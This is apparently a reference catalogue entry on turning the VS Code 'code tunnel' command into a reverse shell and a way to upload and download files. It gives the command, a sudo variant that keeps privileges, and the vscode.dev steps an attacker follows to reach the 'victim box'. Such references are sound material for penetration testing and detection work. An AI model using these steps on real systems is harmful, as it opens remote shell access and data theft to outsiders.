.. / code

Sponsor

Fork

Star

Sponsor

Fork

Star

• Reverse shell
• Upload
• Download

Reverse shell

This executable can send back a reverse system shell to a listening attacker.

• Comment

  This requires a valid GitHub account.

  Run the command locally, then on the attacker box navigate to https://github.com/login/device, using the provided code to authorize the tunnel.

  Unprivileged

  This function can be performed by any unprivileged user.

  code tunnel --name xxxxxx

  Sudo

  This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

  Remarks

  If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....

  code tunnel --name xxxxxx

  Listener

  Navigate to https://vscode.dev/tunnel/xxxxxx where a remote VS Code instance can be used to spawn a system shell on the victim box.

  From the menu, select “View” -> “Terminal”.

Upload

This executable can upload local data.

• Comment

  This requires a valid GitHub account.

  Run the command locally, then on the attacker box navigate to https://github.com/login/device, using the provided code to authorize the tunnel.

  Unprivileged

  This function can be performed by any unprivileged user.

  code tunnel --name xxxxxx

  Sudo

  This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

  Remarks

  If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....

  code tunnel --name xxxxxx

  Receiver

  Navigate to https://vscode.dev/tunnel/xxxxxx where a remote VS Code instance can be used to download files from the victim box.

  From the menu, select “File” -> “Open Folder…”, right-click on the explorer pane, then select Download…” to download a file.

  Alternatively it’s possible to just display files.

Download

This executable can download remote data.

• Comment

  This requires a valid GitHub account.

  Run the command locally, then on the attacker box navigate to https://github.com/login/device, using the provided code to authorize the tunnel.

  Unprivileged

  This function can be performed by any unprivileged user.

  code tunnel --name xxxxxx

  Sudo

  This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

  Remarks

  If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....

  code tunnel --name xxxxxx

  Sender

  Navigate to https://vscode.dev/tunnel/xxxxxx where a remote VS Code instance can be used to upload files to the victim box.

  From the menu, select “File” -> “Open Folder…”, right-click on the explorer pane, then select “Upload…” to pick a file to send.

  Alternatively it’s possible to just create and edit files.

Source | History